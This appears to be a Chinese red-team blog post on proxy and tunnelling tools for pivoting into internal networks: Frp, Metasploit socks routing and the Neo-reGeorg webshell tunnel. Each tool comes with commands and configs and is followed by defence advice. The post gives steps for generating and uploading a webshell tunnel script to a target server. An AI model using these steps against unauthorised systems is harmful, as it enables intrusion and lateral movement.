九维团队-红队(突破)| 内网渗透代理工具测试
内网渗透在红蓝对抗中占有很重要的地位,而红队从互联网撕开口子后通常会进攻内网扩大战果,内网渗透最重要的就是隧道的搭建,本文将会为大家简要介绍笔者经常使用的代理工具。
首先我们需要知道代理可分为正向代理和反向代理。
正向代理
在客户端和原始服务器(origin server)之间架设一个代理服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。
反向代理
反向代理(Reverse Proxy)方式是指以代理服务器来接受网络上的连接请求,然后将请求转发给内部网络上的服务器,并将服务器上得到的结果返回给请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器。客户端无需做任何配置。
笔者根据自己的使用经验,将其简化为:
反向代理,就是目标服务器主动连接我们的vps代理服务器,完成隧道的搭建,我们自己的vps作为桥梁转发流量;正向代理,我们自己主动去连接服务器,自身的电脑作为客户端,服务器作为服务端,与目标服务器直接建立隧道。
根据个人经验,如果目标主机出网,建议使用反向代理,若目标主机不出网,则使用正向代理。
反向代理工具
01 . Frp
Frp 是一个开源、简洁易用、高性能的内网穿透和反向代理软件,支持 tcp, udp, http, https等协议。项目地址:
https://github.com/fatedier/frp
Frp工作原理
服务端运行,监听一个主端口,等待客户端的连接;
客户端连接到服务端的主端口,同时告诉服务端要监听的端口和转发类型;
服务端fork新的进程监听客户端指定的端口;
外网用户连接到客户端指定的端口,服务端通过和客户端的连接将数据转发到客户端;
客户端进程再将数据转发到本地服务,从而实现内网对外暴露服务的能力。
该图源于网络
Frp有linux和windows版本,目录结构如下:
我们需要用的主要文件为Frpc、Frpc.ini、Frps、Frps.ini
Frpc:客户端文件
Frpc.ini:客户端配置文件
Frps:服务端文件
Frps.ini:服务端配置文件
需要一台vps作为代理服务器,此时代理服务器就是服务端,配置frps.ini:
[common]
# frp监听的端口,默认是7000,可以改成其他的
bind_port = 7000
# 授权码,请改成更复杂的
token = dbapp@2022 # 这个token之后在客户端会用到
*左右滑动查看更多
启动frps:
Linux:./frps –c frps.ini
Windows:frps.exe –c frps.ini
服务端配置成功,现在配置客户端:
# 客户端配置
[common]
server_addr = 服务器ip
# 与frps.ini的bind_port一致
server_port = 7000
# 与frps.ini的token一致
token = dbapp@2022
# 配置ssh服务
[ssh] //名字区分,没有作用,仅仅为了区分,可任意修改
type = tcp //指定使用的协议
local_ip = 127.0.0.1 //本地ip地址
local_port = 22 //本地端口
remote_port = 6000 //远程端口
*左右滑动查看更多
假设我们的客户端ip为1.1.1.1,这条规则的意思就是使用tcp协议将本地的22端口映射到代理服务器的6000端口,假设代理服务器ip为2.2.2.2 我们访问2.2.2.2:6000实际上访问的则是1.1.1.1的22端口:
启动frpc
Linux:./frpc –c frpc.ini
Windows:frpc.exe –c frpc.ini
我们可以多写一些规则将更多的服务映射出去。
防御建议
Frp虽然使用方便,但是也暴露一个问题,即ini文件。每次启动都需要加载ini文件,并且ini中暴露了相应的ip地址、端口等,如果自己的服务器被用来搭建跳板机,完全可以查看相应的ini文件进行ip溯源。
对于这类工具的发现,目前市面上的杀毒软件都能查杀到这类软件,使用杀毒软件实时监控即可。
02 . Msf
Msf可以说是网安人入门必学的一个工具,但其实msf也可以做代理。当通过MSF拿到一个机器的权限后,想通过MSF搭建socks代理,然后通内网。
MSF中有三个代理模块,分别是socks4a、socks5、socks_unc。一般用 socks4a和socks5进行代理,socks5可以设置用户名和密码;现在新版本的kali已经整合了socks代理。
我们需要先添加路由,msf的代理就是将自己作为一个路由器,实现路由转发,通内网。
run get_local_subnets
路由添加好以后,返回,background。
查看配置:
默认将自己的地址作为代理地址,端口为1080。
直接run即可实现搭建代理:
个人很喜欢使用msf搭建隧道,因为每次上线新的主机后直接一条命令添加路由,路由能通的网段,都能去,多层代理隧道的时候非常友好。
防御建议
Msf的隧道搭建的前提是主机能够上线msf,防范msf的首要条件就是修复漏洞,不要给msf上线的机会。如果发现自己的服务器或者电脑被msf远控,搭建隧道,应及时应急,查找可疑进程,必要时断网排查。
正向代理工具
01 . Neo-reGeorg
正向代理推荐Neo-reGeorg,非常好用。项目网址:
https://github.com/L-codes/Neo-reGeorg
*左右滑动查看更多
该图源于网络
使用方法
生成webshell代理脚本
python3 neoreg.py generate -k password(密码自定义)
*左右滑动查看更多
2. 将代理脚本上传到目标服务器,web可访问的目录。
3. 连接代理脚本:
python3 neoreg.py -k password -u
http://xx/tunnel.php(脚本地址)
窗口不要关闭,本地127.0.0.1:1080就是socks5代理地址。
防御建议
很多类似 Neo-reGeorg 的工具从原理上讲,都是对底层字节流量读取后进行特殊加密,然后披上 HTTP 协议外壳偷跑进网站内部的。由于 HTTP 协议包中的数据是特殊加密的,常规前置过滤手段是无法检测出来的 (这也是“科学上网”难以杜绝的主因之一,所谓“道高一尺魔高一丈”)。
然而,Neo-reGeorg 类工具的弱点是没办法像 rootkit 那样可以夺舍灵魂隐藏自己 (运气好甚至可以与服务器同寿)。WebShell 这类特征就比较明显了,往往东窗事发后会立刻被清理掉,攻击者只得竭尽所能隐藏行踪,避免被一眼识破。
防御手段可参考以下方式:
借助 Shell 扫描工具定期自检,熟悉站点架构,去除敏感目录的脚本执行权限。系统日志及 Web 应用日志审计,特别是异常时间段的交互。借助 syslog 做好日志转发备份工作。锁定中间件的配置文件,对于网页文件权限的控制做到最小化,宁可错杀后调整,也不可错放。控制脚本级别文件的增删改,增加脚本白名单功能,只允许白名单内的脚本对外交互。
总之,代理工具很多,没有好坏之分,适合自己的就是最好的!
关于安恒信息安全服务团队安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。